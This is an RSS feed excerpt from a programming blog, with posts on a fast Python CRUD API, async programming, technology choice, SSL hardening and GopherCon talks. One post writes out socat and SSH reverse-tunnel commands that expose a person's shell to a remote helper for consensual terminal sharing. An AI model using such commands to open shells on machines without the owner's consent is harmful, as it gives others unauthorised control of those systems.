</span></span><span class="line"><span class="cl">                <span class="k">yield</span> <span class="nb">str</span><span class="p">(</span><span class="s1">&#39;]&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">elif</span> <span class="n">method</span> <span class="o">==</span> <span class="s1">&#39;POST&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">yield</span> <span class="nb">str</span><span class="p">(</span><span class="n">cursor</span><span class="o">.</span><span class="n">lastrowid</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">yield</span> <span class="nb">str</span><span class="p">(</span><span class="n">cursor</span><span class="o">.</span><span class="n">rowcount</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="p">(</span><span class="n">mysql</span><span class="o">.</span><span class="n">connector</span><span class="o">.</span><span class="n">errors</span><span class="o">.</span><span class="n">DatabaseError</span><span class="p">)</span> <span class="k">as</span> <span class="n">err</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># die if SQL statement failed</span>
</span></span><span class="line"><span class="cl">        <span class="n">start_response</span><span class="p">(</span><span class="s1">&#39;404 Not Found&#39;</span><span class="p">,</span> <span class="p">[(</span><span class="s1">&#39;Content-Type&#39;</span><span class="p">,</span> <span class="s1">&#39;text/html&#39;</span><span class="p">)])</span>
</span></span><span class="line"><span class="cl">        <span class="k">yield</span> <span class="nb">str</span><span class="p">(</span><span class="n">err</span><span class="o">.</span><span class="n">args</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># close mysql connection</span>
</span></span><span class="line"><span class="cl">    <span class="n">link</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">bjoern</span><span class="o">.</span><span class="n">listen</span><span class="p">(</span><span class="n">app</span><span class="p">,</span> <span class="s1">&#39;127.0.0.1&#39;</span><span class="p">,</span> <span class="mi">8000</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">bjoern</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>
</span></span></code></pre></div><p>To install dependencies run:</p>
<pre><code>sudo apt-get install python pip libev-dev libprotobuf-dev protobuf-compiler
export MYSQLXPB_PROTOC=/usr/bin/protoc
export MYSQLXPB_PROTOBUF_INCLUDE_DIR=/usr/include/google/protobuf
export MYSQLXPB_PROTOBUF_LIB_DIR=/usr/lib/x86_64-linux-gnu
pip install bjoern mysql-connector gunicorn meinheld
</code></pre>
<p>It does 5k requests per second when running single core:</p>
<pre><code>python api.py
</code></pre>
<p>When running multi core (workers should match core count) I see 9k requests per
second:</p>
<pre><code>gunicorn --workers=4 --worker-class=&quot;egg:meinheld#gunicorn_worker&quot; api:app
</code></pre>
<p>I applied <a href="http://gunicorn.org/">gunicorn</a> and <a href="http://meinheld.org/">meinheld</a>
as suggested in the
<a href="https://github.com/TechEmpower/FrameworkBenchmarks/tree/master/frameworks/Python">Python readme</a>
on Techempower&rsquo;s Github account. This should guarantee great performance as the
benchmarks in the Techempower benchmark are often highly optimized.</p>
<h3 id="disabling-connection-pooling">Disabling connection pooling</h3>
<p>The connection pooling is disabled. This normally takes care of:</p>
<ul>
<li>rolling back active transactions</li>
<li>closing and dropping temporary tables</li>
<li>unlocking locked tables</li>
<li>resetting session system variables</li>
<li>releasing prepared statements</li>
<li>closing handler variables</li>
<li>releasing locks acquired with get_lock</li>
</ul>
<p>and does so before re-using a connection (so, on every request). We are skipping
these to get the performance from 2600 requests per second to an impressive 9000
requests per second. This is not entirely fair as other implementations are not
taking this shortcut, but in most situations this optimization is acceptable as
you control the executed SQL. If you have pressing reasons why this would not be
a good idea, please let me know on
<a href="https://github.com/mevdschee/py-crud-api/issues/2">Github</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>10 reasons async programming is a bad idea</title>
      <link>https://www.tqdev.com/2017-10-reasons-async-programming-is-bad/</link>
      <pubDate>Thu, 09 Nov 2017 03:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-10-reasons-async-programming-is-bad/</guid>
      <description>&lt;p&gt;Async (asynchronous) programming is very popular. It is advocated in JavaScript
(NodeJS) and in the JVM (Akka). In this post you find 10 reasons why it may not
be such a good idea.&lt;/p&gt;
&lt;h3 id=&#34;1-async-makes-your-code-hard-to-read&#34;&gt;1. Async makes your code hard to read&lt;/h3&gt;
&lt;p&gt;IMHO the most important reason to not do async is that synchronous code gets
executed more linearly and is thus easier to reason about. The amount of
possible states in an async programming model easily explodes, which makes the
code hard to read and understand. Of course there are people with strategies
(like Flux) to avoid your code to turn into a big ball of mud (also known as
spaghetti code), but why would you when you can better say &amp;ldquo;no&amp;rdquo; to async
programming anyway?&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Async (asynchronous) programming is very popular. It is advocated in JavaScript
(NodeJS) and in the JVM (Akka). In this post you find 10 reasons why it may not
be such a good idea.</p>
<h3 id="1-async-makes-your-code-hard-to-read">1. Async makes your code hard to read</h3>
<p>IMHO the most important reason to not do async is that synchronous code gets
executed more linearly and is thus easier to reason about. The amount of
possible states in an async programming model easily explodes, which makes the
code hard to read and understand. Of course there are people with strategies
(like Flux) to avoid your code to turn into a big ball of mud (also known as
spaghetti code), but why would you when you can better say &ldquo;no&rdquo; to async
programming anyway?</p>
<h3 id="2-it-will-cause-high-latency">2. It will cause high latency</h3>
<p>A blocking I/O model with (a pool of) threads or processes will have lower
latency per request than an event loop. A thread pool model will be equally fast
as an event loop when the system is under low load. But under heavy load, the
event loop will slow down. When you hit the async system with many concurrent
requests, the latency will increase. The synchronous thread based model will not
slow down, but start to use multiple CPU cores and in todays high-core count
machines this is very well possible. You can summarize this point by simply
saying that, contrary to popular belief, async is &ldquo;slow&rdquo;.</p>
<h3 id="3-not-suitable-for-compute-load">3. Not suitable for compute load</h3>
<p>Yes, async may have a nice memory footprint and low CPU usage for I/O intensive
applications (proxying API requests for instance), but when you are building a
real application, then you will need to &ldquo;do&rdquo; things with the data that is
transferred. This will slow down the entire system as you typically will have
just one single thread. If you want to do computation you probably need more
threads, a thread pool and a scheduler .. well .. eventually a complete
synchronous programming system. Without that it will be difficult to take
advantage of the high number of CPU cores in a typical system.</p>
<h3 id="4-async-is-superseded-technology">4. Async is superseded technology</h3>
<p>There&rsquo;s programming in a threaded style, and there&rsquo;s using native operating
system threads. They don&rsquo;t have to go together. For example, if you use a green
thread library, you end up with the exact same benefits and limitations as an
event loop, but with simpler, easier to understand code. Event loops as NodeJS
uses just sets you back 25 years to the era of non-blocking &ldquo;select&rdquo; POSIX
calls. I understand where this comes from as JavaScript in a browser window is
executed as a single threaded application and this is most popular programming
platform nowadays (especially for beginners).</p>
<h3 id="5-c10k-has-already-become-c1m">5. C10k has already become C1M</h3>
<p>We used to struggle to handle 10k connections on a server (the C10K problem).
Threads used to use a lot of memory and used to cause a lot CPU usage when they
started up. This is still the case if you are naively using &ldquo;fork&rdquo; to implement
multiprogamming, but that is not best practice anymore. A good thread library
will handle multiplexing green threads over OS threads and it will get you
parallelism on top of a synchronous programming model. In the Haskell
programming language you find a very good and light weight threading
implementation. Similarly the Go language has a CSP based routines and channels
implementation that makes it easy to handle a high connection count in a
synchronous way. To illustrate the differences: an Apache thread can easily take
up 10 MB of memory, while a JVM thread may only take up 1 MB. In the Go language
we have &ldquo;go routines&rdquo; which have only a 8 KB stack size.</p>
<h3 id="6-expensive-callbacks-are-worse-than-deadlocks">6. Expensive callbacks are worse than deadlocks</h3>
<p>Expensive calls will slow down the entire system and solving that problem is
harder and less understood than solving deadlock (or livelock) issues. Deadlocks
can be avoided by relaxed consistency (non-exclusive usage) and exclusive use of
your resources in a fixed (f.i. alphabetical) order. When you have users using
more CPU cycles than is optimal for your event scheduling system then you have
no such clear way out of misery.</p>
<h3 id="7-performance-analysis-for-async-is-hard">7. Performance analysis for async is hard</h3>
<p>When you have a performance issue in a synchronous threaded application you can
simply inspect the call-stacks via sampling or dumps. This is far less easy for
an async system. There you need to follow the messages between the different
handlers (potentially on different threads). This would be doable with proper
tooling, but there is not so much tooling available for async and there is a
less good understanding of common strategies for performance analysis and
improvement.</p>
<h3 id="8-it-is-only-easier-for-a-use-case-you-dont-have">8. It is only easier for a use case you don&rsquo;t have</h3>
<p>When you are programming a chat room or a game, then an async model where all
connections are handled by a single thread makes your implementation easier
without a doubt. But most applications are not chat rooms or games. They are
administrative applications. In these applications you typically need to
communicate with an underlying database to be able to display the next
form/step/result/overview. There is no point in allowing other interactions
(than the main one) to take place when working in such a system. A better
multitasking experience (than async/reactive programming) is probably achieved
by using the tabs of your browser: one for every activity.</p>
<h3 id="9-async-programming-does-not-match-the-http-protocol">9. Async programming does not match the HTTP protocol</h3>
<p>Everything communicates with HTTP and HTTP is synchronous. You request a page
and receive it. You send a form and get a page back. There is noting
asynchronous about it. There are initiatives such as secure web sockets (WSS)
and server side events (SSE), but with the presence of HTTP/1.1 (keep-alive) and
the arrival of HTTP2 (multiplexing) I expect that the usage of these protocols
will diminish.</p>
<h3 id="10-master-of-none">10. Master of none</h3>
<p>You should probably try to master synchronous programming instead of
investigating hypes like async. Most of the product software won&rsquo;t require it
anyway. Synchronous programming is by no means easy, but it is without doubt
mainstream and thus valuable. Also, there is a lot of innovation going on in
synchronous programming, like the ultra light weight multiprogramming in Go. My
advice: Invest your time wisely!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=cN_DpYBzKso">Rob Pike - &lsquo;Concurrency Is Not Parallelism&rsquo;</a></li>
<li><a href="http://frymaster.127001.org/files/tymaPaulMultithreaded.pdf">Thousands of Threads and Blocking I/O: The old way to write Java Servers is New again (and way better)</a></li>
<li><a href="https://people.eecs.berkeley.edu/~brewer/papers/threads-hotos-2003.pdf">Why Events Are A Bad Idea (for high-concurrency servers)</a></li>
<li><a href="https://berb.github.io/diploma-thesis/original/043_threadsevents.html">The Case of Threads vs. Events</a></li>
<li><a href="https://swtch.com/~rsc/thread/">Bell Labs and CSP Threads</a></li>
<li><a href="https://en.wikipedia.org/wiki/C10k_problem">The C10k problem</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>The myth of the &#34;right tool for the job&#34;</title>
      <link>https://www.tqdev.com/2017-the-myth-of-the-right-tool-for-the-job/</link>
      <pubDate>Tue, 24 Oct 2017 22:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-the-myth-of-the-right-tool-for-the-job/</guid>
      <description>&lt;p&gt;Discussions about &amp;ldquo;the best programming language or technology&amp;rdquo; are common in
software development, but also arguably pointless. Choosing a programming
language is very unlike construction work: you don&amp;rsquo;t need the &amp;ldquo;right tool for
the job&amp;rdquo;. It is more like choosing clothes to wear: you shouldn&amp;rsquo;t pick shorts
when it&amp;rsquo;s freezing, but all sensible choices are a matter of taste and maybe
even a way of expressing your identity as a developer.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Discussions about &ldquo;the best programming language or technology&rdquo; are common in
software development, but also arguably pointless. Choosing a programming
language is very unlike construction work: you don&rsquo;t need the &ldquo;right tool for
the job&rdquo;. It is more like choosing clothes to wear: you shouldn&rsquo;t pick shorts
when it&rsquo;s freezing, but all sensible choices are a matter of taste and maybe
even a way of expressing your identity as a developer.</p>
<p>Software engineering is a profession that requires a great deal of creativity,
and creativity is boosted by constraints. Technology choices are such
constraints, but nevertheless constraining technology choice is considered
controversial in our industry. Why is that?</p>
<h3 id="popular-software-development-stacks-for-web-products">Popular software development stacks for web products</h3>
<p>Let&rsquo;s consider the following popular web development stacks:</p>
<ul>
<li>Java with SpringMVC</li>
<li>PHP with Symfony</li>
<li>Ruby on Rails</li>
<li>Python with Django</li>
<li>NodeJs with Express</li>
<li>Go with Gin</li>
<li>C# with ASP.NET MVC</li>
</ul>
<p>These stacks are much alike. You can build the same web-based software
applications in them. They all provide the same pattern: separating data access,
business logic and presentation in layers. They all have modules or objects to
chunk the code into same sized units. They provide the same components: a
router, a cache, a Data Access Layer and a template engine. We can safely say
that design of software products is a solved problem with lots of well-know best
practices (implemented in these stacks). therefore it would be beneficial when
non-technical arguments would prevail when choosing a stack.</p>
<h3 id="three-things-to-base-a-technology-choice-on">Three things to base a technology choice on</h3>
<p>The three things I feel you should consider when choosing a technology are:</p>
<ol>
<li>Ease of learning of the technology</li>
<li>Popularity and age of the technology</li>
<li>Openness of the technology</li>
</ol>
<p>When technology is easy to learn, then costs of learning are low and it is more
likely that people already know the technology. Popularity and age are important
for the same reason and also because older and more popular technology is less
likely to have major flaws. The last one is a different beast. The best example
of it is &ldquo;Flash/Flex&rdquo;. Apple would have probably not even been able to kill it
if it would have been an open standard implemented in many browsers.</p>
<h3 id="a-full-list-of-considerations-for-technology-choice">A full list of considerations for technology choice</h3>
<p>These three points can lead to the following list of considerations:</p>
<ul>
<li>What the other people in the company are doing (building expertise)</li>
<li>Ease of finding developers (hiring is expensive and common)</li>
<li>Technology your employees are familiar with (to avoid long training periods)</li>
<li>Access to other companies using that technology (to learn from each other)</li>
<li>Learning curve and availability of documentation (in case people have to
learn)</li>
<li>Availability of tools to debug and analyze performance (for solving issues)</li>
<li>Amount of alternatives for the technology (to easily switch components)</li>
<li>License that the technology is using (it should be free and open source)</li>
<li>Availability of commercial support (the option for commercial support is
great)</li>
</ul>
<p>If you decide on these factors then you easily see that this is not a typically
job for an engineer. This is a strategic decision that should be made (and
enforced) at C-level (preferably by the CTO). Unfortunately not many companies I
know of have the guts to take that point of view. In the product software
industry the technology gap between the board and the engineers is so big that
the strategic value of these choices is often overlooked.</p>
<h3 id="technology-should-be-dictated-by-the-cto">Technology should be dictated by the CTO</h3>
<p>Arguments you may encounter against this (and there replies) are:</p>
<ul>
<li>Developers wouldn&rsquo;t want to work with old/boring technology,
<ul>
<li>&hellip; but seniors would and juniors want to learn.</li>
</ul>
</li>
<li>Constraints hurt the creative process of software development,
<ul>
<li>&hellip; but creativity loves constraints.</li>
</ul>
</li>
<li>Senior developers wouldn&rsquo;t be challenged/learning enough,
<ul>
<li>&hellip; but how about soft skills/mentoring?</li>
</ul>
</li>
<li>Development wouldn&rsquo;t be innovative,
<ul>
<li>&hellip; but whatever you innovate would have more impact.</li>
</ul>
</li>
<li>Our best engineer says that technology X will bring us the moon.</li>
</ul>
<p>For that last one I blame conferences, where cargo-cult developers hear stories
from companies they would love to work for. They want to believe the technology
is amazing and blindly believe all promises made, because they idolize their
hero&rsquo;s for creating it. These engineers can easily convince their managers as
they are promising them the moon.</p>
<h3 id="if-you-dont-understand-it-then-it-probably-aint-true">If you don&rsquo;t understand it, then it probably ain&rsquo;t true.</h3>
<p>So it all boils down to a lack of self confidence (both the engineer and their
managers). So let&rsquo;s stop the madness, invest in understanding technology and
live by the anti-cargo-cult slogan: If you don&rsquo;t understand it, then it probably
ain&rsquo;t true.</p>
<p>Enjoy coding!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="http://scottberkun.com/2009/dr-seuss-wicked-constrants-and-creative-thinking/">Dr. Seuss, wicked constraints, and creative thinking</a></li>
<li><a href="https://techcrunch.com/2012/06/30/steve-jobs-war-against-flash/">Steve Would Be Proud: How Apple Won The War Against Flash</a></li>
<li><a href="https://www.hanselman.com/blog/CargocultProgramming.aspx">Scott Hanselman: Cargo-cult programming</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Helping friends on the Linux command-line</title>
      <link>https://www.tqdev.com/2017-helping-friends-on-the-linux-command-line/</link>
      <pubDate>Tue, 15 Aug 2017 03:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-helping-friends-on-the-linux-command-line/</guid>
      <description>&lt;p&gt;I noticed that when I was helping a friend on the Linux command-line I was
struggling. Spelling the commands over the phone or trying to read their screen
over a bad Skype or Hangout screen sharing connection is not really fun. That&amp;rsquo;s
why I spent the time to create something that works (for me at least). It allows
your friend to connect to your Linux server on which you can open a shell on
your friend&amp;rsquo;s computer.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I noticed that when I was helping a friend on the Linux command-line I was
struggling. Spelling the commands over the phone or trying to read their screen
over a bad Skype or Hangout screen sharing connection is not really fun. That&rsquo;s
why I spent the time to create something that works (for me at least). It allows
your friend to connect to your Linux server on which you can open a shell on
your friend&rsquo;s computer.</p>
<h3 id="security">Security</h3>
<p>The connection is secured as it listens only on the localhost of your friends
computer and the server. It is a <code>bash</code> shell that is tunneled over SSH to the
server using <code>socat</code>. With the <code>tmux</code> terminal program (a younger brother of GNU
<code>screen</code>) you can make a terminal that multiple people can view and interact
with. This way you can let people show you things while you are on the phone and
you can immediately correct it when it is going wrong. Also the other party can
see what you do and learn from it. Or if you are doing something that they don&rsquo;t
like then they can terminate the session.</p>
<h3 id="script-fu">Script-fu</h3>
<p>These are the main commands of the script:</p>
<pre><code>ssh -R 6000:localhost:6000 -N user@hostname &amp;
tmux new-session -d -s support
socat exec:&quot;tmux attach -t support&quot;,pty,raw,echo=0,stderr,setsid,sigint,sane \
      tcp-listen:6000,bind=localhost,reuseaddr &amp;
tmux attach -t support
</code></pre>
<p>These above commands you should run on the client, while the following should
run on the server:</p>
<pre><code>socat file:`tty`,raw,echo=0 tcp-connect:localhost:6000
</code></pre>
<p>You should adjust the &ldquo;user@hostname&rdquo; to the rendezvous server that you are
using.</p>
<h3 id="workflow">Workflow</h3>
<p>When your friend calls you just let him or her connect to your server with
<code>socat.sh</code> from my
<a href="https://github.com/mevdschee/cli-support">cli-support repository</a>. Your friend
probably already has a web-hosting account on a server of yours and if not you
may spin up a VM for the occasion. Next you connect to the server and issue the
<code>socat</code> server command. From that moment you can see the shell of your friend
and you can both type. It is recommended that you also set up an audio
connection so that you can talk to each other explaining what you are doing (or
trying to do).</p>
<h3 id="conclusion">Conclusion</h3>
<p>I created a tool that helped me helping a few friends with simple Linux
problems. It works for me and I can see what they are doing wrong and they can
see me do it in a different way and learn from it. These problems have been
programming, Git, SSH and DNS related and in most cases I was able to help them
out with this tool. There are two things I still want to improve: adjustable
screen size on the server (now only the client can resize the screen) and a
simple delivery of the tool (I now email the installation commands). Other than
that I have not found no issues yet. Does it work for you?</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://github.com/mevdschee/cli-support">The cli-support software from (from this article) on Github</a></li>
<li><a href="http://www.linusakesson.net/programming/tty/">Background: The TTY demystified</a></li>
<li><a href="https://www.ostechnix.com/tmate-share-terminal-instantly-anyone-anywhere/">Alternative: Tmate – Share Your Terminal Instantly To Anyone From Anywhere</a></li>
<li><a href="https://www.teleconsole.com/">Alternative: Teleconsole - Share your UNIX terminal in seconds!</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>How to get an A&#43; rating from SSL Labs</title>
      <link>https://www.tqdev.com/2017-how-to-get-a-plus-rating-from-ssl-labs/</link>
      <pubDate>Sat, 29 Jul 2017 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-how-to-get-a-plus-rating-from-ssl-labs/</guid>
      <description>&lt;p&gt;After postponing setting up SSL for this site for about one and a half year I
finally did it. Like anything I do with this blog I wanted to make it fast and
secure. In order to find out whether or not I configured SSL correctly I used
&lt;a href=&#34;https://www.ssllabs.com/&#34;&gt;SSL Labs&lt;/a&gt;. They have a
&lt;a href=&#34;https://www.ssllabs.com/ssltest/&#34;&gt;form&lt;/a&gt; where you can enter your domain. After
a minute or two and you will receive an extensive report on your SSL setup (for
free). The report is also summarized in a rating and the highest rating is an
&amp;ldquo;A+&amp;rdquo;. I configured this site to receive such an A+ rating and in this post I
will explain how you can do the same.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>After postponing setting up SSL for this site for about one and a half year I
finally did it. Like anything I do with this blog I wanted to make it fast and
secure. In order to find out whether or not I configured SSL correctly I used
<a href="https://www.ssllabs.com/">SSL Labs</a>. They have a
<a href="https://www.ssllabs.com/ssltest/">form</a> where you can enter your domain. After
a minute or two and you will receive an extensive report on your SSL setup (for
free). The report is also summarized in a rating and the highest rating is an
&ldquo;A+&rdquo;. I configured this site to receive such an A+ rating and in this post I
will explain how you can do the same.</p>
<h3 id="cipher-suites">Cipher suites</h3>
<p>One of the most important things that you need to configure are the cipher
suites. There are several ciphers that are enabled by default, but are no longer
secure. One of the ciphers that is often enabled, but should not be used is
&ldquo;RC4&rdquo;. How to disable RC4 and other insecure ciphers can be found on the site
<a href="https://cipherli.st/">Cipherli.st</a>. It will tell you exactly which lines to put
in the configuration file of your webserver in order to get an A+ rating on SSL
Labs. It also applies some other best practices, such as &ldquo;OCSP stapling&rdquo; and
headers against &ldquo;Clickjacking&rdquo;, &ldquo;Cookie hijacking&rdquo; and &ldquo;Content sniffing&rdquo;.</p>
<h3 id="ocsp-stapling">OCSP stapling</h3>
<p>&ldquo;OCSP checking potentially impairs users&rsquo; privacy and slows down browsing, since
it requires the client to contact a third party (the CA) to confirm the validity
of each certificate that it encounters.&rdquo; -
<a href="https://en.wikipedia.org/wiki/OCSP_stapling">source</a></p>
<p>&ldquo;The key to speeding up OCSP is to get rid of the requests that go back to the
CA. Rather than needing to request the OCSP response from the CA directly, the
OCSP response can be included in the initial SSL handshake (step 3 in the
example above). In this sense, the OCSP response is &ldquo;stapled&rdquo; to the initial SSL
handshake. While it seems like this approach would be less secure, the response
is signed by the CA&rsquo;s root certificate so the browser can verify its
authenticity even if it is not delivered directly from the CA&rsquo;s OCSP server&rdquo; -
<a href="https://blog.cloudflare.com/ocsp-stapling-how-cloudflare-just-made-ssl-30/">source</a></p>
<h3 id="security-headers">Security headers</h3>
<p>The &ldquo;X-Frame-Options&rdquo; headers protects against &ldquo;Clickjacking&rdquo; by disallowing
embedded into other sites
(<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options">source</a>).
The &ldquo;Strict-Transport-Security&rdquo; header prevents &ldquo;Cookie hijacking&rdquo; by
automatically converting all attempts to access the site using HTTP to HTTPS
(<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security">source</a>).
The &ldquo;X-Content-Type-Options&rdquo; header disabled the dangerous &ldquo;Content sniffing&rdquo;
that IE browsers do that may turn a non-executable file into an executable one
(<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options">source</a>).</p>
<h3 id="mozillas-observatory-scans">Mozilla&rsquo;s Observatory scans</h3>
<p>Next I used <a href="https://observatory.mozilla.org/">Mozilla Observatory</a> to further
scan the site and I have found three more headers that should be added. First is
the &ldquo;Content-Security-Policy&rdquo; header that protects against &ldquo;Cross site scripting
(XSS)&rdquo; and second is the &ldquo;X-XSS-Protection&rdquo; header protects against the same
(<a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security#Content_Security_Policy">source</a>).
And last but not least the &ldquo;Referrer-Policy&rdquo; header that improves privacy by
protecting against an information leak via the &ldquo;Referer&rdquo; header when navigating
away from the site
(<a href="https://scotthelme.co.uk/a-new-security-header-referrer-policy/">source</a>). I
chose not to load the HPKP (HTTP Public Key Pinning) header that could protect
against &ldquo;man in the middle&rdquo; attacks when the CA is compromised, as it seemed
that you could easily break the site for everybody for a long time
(<a href="https://scotthelme.co.uk/hpkp-http-public-key-pinning/">source</a>).</p>
<h3 id="lets-encrypt">Let&rsquo;s Encrypt</h3>
<p>If you also want to serve your site over SSL you now know how to do this. I
shamefully admit that I use a paid certificate from Comodo, but you may do
better and use a free <a href="https://letsencrypt.org/">Let&rsquo;s Encrypt</a> certificate. All
you have to do is setup a cron job that takes care of the monthly certificate
renewal.</p>
<h3 id="links">Links</h3>
<ol>
<li><a href="https://cipherli.st/">Cipherli.st</a></li>
<li><a href="https://blog.cloudflare.com/ocsp-stapling-how-cloudflare-just-made-ssl-30/">CloudFlare: OCSP Stapling</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers">MDN web docs: HTTP headers</a></li>
<li><a href="https://letsencrypt.org/">Let&rsquo;s Encrypt: Free certificates</a></li>
<li><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Mozilla wiki: Security/Guidelines/Web Security</a></li>
<li><a href="https://mozilla.github.io/server-side-tls/ssl-config-generator/">Mozilla SSL Configuration Generator</a></li>
</ol>
]]></content:encoded>
    </item>
    <item>
      <title>GopherCon 2017: videos online</title>
      <link>https://www.tqdev.com/2017-gophercon-2017-videos-online/</link>
      <pubDate>Mon, 24 Jul 2017 23:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-gophercon-2017-videos-online/</guid>
      <description>&lt;p&gt;15th of July was the last day of &lt;a href=&#34;https://www.gophercon.com/&#34;&gt;GopherCon 2017&lt;/a&gt;,
the &amp;ldquo;Largest event in the world dedicated to the Go programming language.&amp;rdquo; It
was held in the Colorado Convention Center in Denver. Today (only 9 days later)
the videos from the conference are online! There are 26 videos online now and 32
lightning talks, so most of the conference is available here (also from
&lt;a href=&#34;http://tqdev.com/2016-gophercon-2016-videos-online&#34;&gt;last year&lt;/a&gt;).&lt;/p&gt;
&lt;h3 id=&#34;gophercon-2017&#34;&gt;GopherCon 2017&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=ha8gdZ27wMo&#34;&gt;Peter Bourgon - Evolutionary Optimization with Go&lt;/a&gt;
[39:18]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=5doOcaMXx08&#34;&gt;Tammy Butow - Go Reliability and Durability at Dropbox&lt;/a&gt;
[27:21]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=OuT8YYAOOVI&#34;&gt;Joe Tsai - Forward Compatible Go Code&lt;/a&gt;
[26:29]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=0Zbh_vmAKvk&#34;&gt;Russ Cox - The Future of Go&lt;/a&gt;
[24:37]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=T4AIQ4RHp-c&#34;&gt;Fatih Arslan - Writing a Go Tool to Parse and Modify Struct Tags&lt;/a&gt;
[35:36]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=KBZlN0izeiY&#34;&gt;Kavya Joshi - Understanding Channels&lt;/a&gt;
[21:45]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=CB_VfgwPmxQ&#34;&gt;Filippo Valsorda - Encrypting the Internet with Go&lt;/a&gt;
[41:43]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=x-LhC-J2Vbk&#34;&gt;David Crawshaw - Go Build Modes&lt;/a&gt;
[44:19]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=uTMvKVma5ms&#34;&gt;Keith Randall - Generating Better Machine Code with SSA&lt;/a&gt;
[34:44]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=IiYHDDz_7mE&#34;&gt;Kris Nova - Valuable Lessons in Over-Engineering the Core of Kubernetes kops&lt;/a&gt;
[25:02]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=c8Fwb4KbVJM&#34;&gt;Aaron Schlesinger - Functional Programming in Go&lt;/a&gt;
[35:28]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=PdtsV1OOkKc&#34;&gt;Scott Mansfield - Creating a Custom Serialization Format&lt;/a&gt;
[37:32]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=8hQG7QlcLBk&#34;&gt;Mitchell Hashimoto - Advanced Testing with Go&lt;/a&gt;
[44:59]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=6sBBTFXOq44&#34;&gt;Ashley McNamara - My Journey to Go&lt;/a&gt;
[12:25]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=PXdao4VxQMQ&#34;&gt;Michael Hausenblas - The Fallacies Of Distributed Gomputing&lt;/a&gt;
[34:15]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=ltqV6pDKZD8&#34;&gt;Edward Muller - Go Anti-Patterns&lt;/a&gt;
[38:14]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=hz6d7rzqJ6Q&#34;&gt;Jon Bodner - Runtime Generated, Typesafe, and Declarative: Pick Any Three&lt;/a&gt;
[39:55]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=5LtMb090AZI&#34;&gt;Sam Boyer - The New Era of Go Package Management&lt;/a&gt;
[32:00]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=ttebJcN5bgQ&#34;&gt;Marty Schoch - Building a High-Performance Key/Value Store in Go&lt;/a&gt;
[34:00]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=01w7viEZzXQ&#34;&gt;Liz Rice - A Go Programmer&#39;s Guide to Syscalls&lt;/a&gt;
[34:45]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=7FZ6ZyzGex0&#34;&gt;Alan Shreve - grpc: From Tutorial to Production&lt;/a&gt;
[43:51]&lt;/li&gt;
